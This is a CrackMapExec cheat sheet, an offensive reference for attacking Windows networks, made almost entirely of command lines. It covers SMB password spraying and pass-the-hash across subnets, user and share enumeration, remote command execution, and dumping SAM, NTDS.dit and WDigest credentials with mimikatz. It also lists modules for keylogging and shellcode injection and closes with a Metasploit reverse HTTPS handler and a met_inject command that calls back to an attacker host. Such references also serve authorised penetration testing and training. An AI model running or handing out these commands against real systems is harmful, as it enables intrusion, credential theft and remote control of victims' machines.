CrackMapExec Cheat Sheet

- Connexions & Spraying
- Enumeration
- Execution & Co
- Getting credentials
- Using the database
- Modules
- Getting shells

```
# General help
crackmapexec --help
```

```
# Protocol help
cracmapexec smb --help
```

Connexions & Spraying

```
# Target format
crackmapexec smb ms.evilcorp.org
crackmapexec smb 192.168.1.0 192.168.0.2
crackmapexec smb 192.168.1.0-28 10.0.0.1-67
crackmapexec smb 192.168.1.0/24
crackmapexec smb targets.txt
```

```
# Null session
crackmapexec smb 192.168.10.1 -u "" up ""
```

```
# Connect to target using local account
crackmapexec smb 192.168.215.138 -u 'Administrator' -p 'PASSWORD' --local-auth
```

```
# Pass the hash against a subnet
crackmapexec smb 172.16.157.0/24 -u administrator -H 'LMHASH:NTHASH' --local-auth
crackmapexec smb 172.16.157.0/24 -u administrator -H 'NTHASH'
```

```
# Bruteforcing and Password Spraying
crackmapexec smb 192.168.100.0/24 -u "admin" -p "password1"
crackmapexec smb 192.168.100.0/24 -u "admin" -p "password1" "password2"
crackmapexec smb 192.168.100.0/24 -u "admin1" "admin2" -p "P@ssword"
crackmapexec smb 192.168.100.0/24 -u user_file.txt -p pass_file.txt
crackmapexec smb 192.168.100.0/24 -u user_file.txt -H ntlm_hashFile.txt
```

Enumeration

Users

```
# Enumerate users
crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --users

# Perform RID Bruteforce to get users
crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --rid-brute

# Enumerate domain groups
crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --groups

# Enumerate local users
crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --local-users
```

Hosts

```
# Generate a list of relayable hosts (SMB Signing disabled)
crackmapexec smb 192.168.1.0/24 --gen-relay-list output.txt

# Enumerate available shares
crackmapexec smb 192.168.215.138 -u 'user' -p 'PASSWORD' --local-auth --shares

# Get the active sessions
crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --sessions

# Check logged in users
crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --lusers

# Get the password policy
crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --pass-pol
```

Execution & Co

```
# CrackMapExec has 3 different command execution methods (in default order) :
# - wmiexec --> WMI
# - atexec --> scheduled task
# - smbexec --> creating and running a service

# Execute command through cmd.exe (admin privileges required)
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x 'whoami'

# Force the smbexec method
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'net user Administrator /domain' --exec-method smbexec

# Execute commands through PowerShell (admin privileges required)
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X 'whoami'
```

Getting Credentials

```
# Dump local SAM hashes
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam
```

```
# Enable or disable WDigest to get credentials from the LSA Memory
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --wdigest enable
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --wdigest disable

# Then you juste have to wait the user logoff and logon again
# But you can force the logoff
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'quser'
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'logoff <sessionid>'
```

```
# Dump the NTDS.dit from DC using methods from secretsdump.py

# Uses drsuapi RPC interface create a handle, trigger replication
# and combined with additional drsuapi calls to convert the resultant
# linked-lists into readable format
crackmapexec smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds

# Uses the Volume Shadow copy Service
crackmapexec smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

# Dump the NTDS.dit password history
smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
```

Using the database

```
# The database automatically store every hosts reaches by CME and all credentials with admin
access
$ cmedb

# Using workspaces
cmedb> workspace create test
cmedb> workspace test

# Access a protocol database and switch back
cmedb (test)> proto smb
cmedb (test)> back

# List stored hosts
cmedb> hosts

# View detailed infos for a specific machine (including creds)
cmedb> hosts <hostname>

# Get stored credentials
cmedb> creds

# Get credentials access for a specific account
cmedb> creds <username>

# Using credentials from the database
crackmapexec smb 192.168.100.1 -id <credsID>
```

Modules

```
 # List available modules
crackmapexec smb -L

# Module information
crackmapexec smb -M mimikatz --module-info

# View module options
crackmapexec smb -M mimikatz --options

# Mimikatz module
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M mimikatz
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -M mimikatz
crackmapexec smb 192.168.215.104 -u Administrator -p 'P@ssw0rd' -M mimikatz -o
COMMAND='privilege::debug'
```

```
 [*] Get-ComputerDetails       Enumerates sysinfo
[*] bloodhound                Executes the BloodHound recon script on the target and retreives
the results to the attackers\' machine
[*] empire_exec               Uses Empire\'s RESTful API to generate a launcher for the
specified listener and executes it
[*] enum_avproducts           Gathers information on all endpoint protection solutions
installed on the the remote host(s) via WMI
[*] enum_chrome               Decrypts saved Chrome passwords using Get-ChromeDump
[*] enum_dns                  Uses WMI to dump DNS from an AD DNS Server
[*] get_keystrokes            Logs keys pressed, time and the active window
[*] get_netdomaincontroller   Enumerates all domain controllers
[*] get_netrdpsession         Enumerates all active RDP sessions
[*] get_timedscreenshot       Takes screenshots at a regular interval
[*] gpp_autologin             Searches the domain controller for registry.xml to find
autologon information and returns the username and password.
[*] gpp_password              Retrieves the plaintext password and other information for
accounts pushed through Group Policy Preferences.
[*] invoke_sessiongopher      Digs up saved session information for PuTTY, WinSCP, FileZilla,
SuperPuTTY, and RDP using SessionGopher
[*] invoke_vnc                Injects a VNC client in memory
[*] met_inject                Downloads the Meterpreter stager and injects it into memory
[*] mimikatz                  Dumps all logon credentials from memory
[*] mimikatz_enum_chrome      Decrypts saved Chrome passwords using Mimikatz
[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager
[*] mimikittenz               Executes Mimikittenz
[*] multirdp                  Patches terminal services in memory to allow multiple RDP users
[*] netripper                 Capture`\'s credentials by using API hooking
[*] pe_inject                 Downloads the specified DLL/EXE and injects it into memory
[*] rdp                       Enables/Disables RDP
[*] scuffy                    Creates and dumps an arbitrary .scf file with the icon property
containing a UNC path to the declared SMB server against all writeable shares
[*] shellcode_inject          Downloads the specified raw shellcode and injects it into memory
[*] slinky                    Creates windows shortcuts with the icon attribute containing a
UNC path to the specified SMB server in all shares with write permissions
[*] test_connection           Pings a host
[*] tokens                    Enumerates available tokens
[*] uac                       Checks UAC status
[*] wdigest                   Creates/Deletes the 'UseLogonCredential' registry key enabling
WDigest cred dumping on Windows >= 8.1
```

```
[*] web_delivery              Kicks off a Metasploit Payload using the
exploit/multi/script/web_delivery module
```

Getting shells

Metasploit

```
# First, set up a HTTP Reverse Handler
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.10.3
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j
```

```
# Met_Inject module
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M met_inject -o
LHOST=YOURIP LPORT=4444
```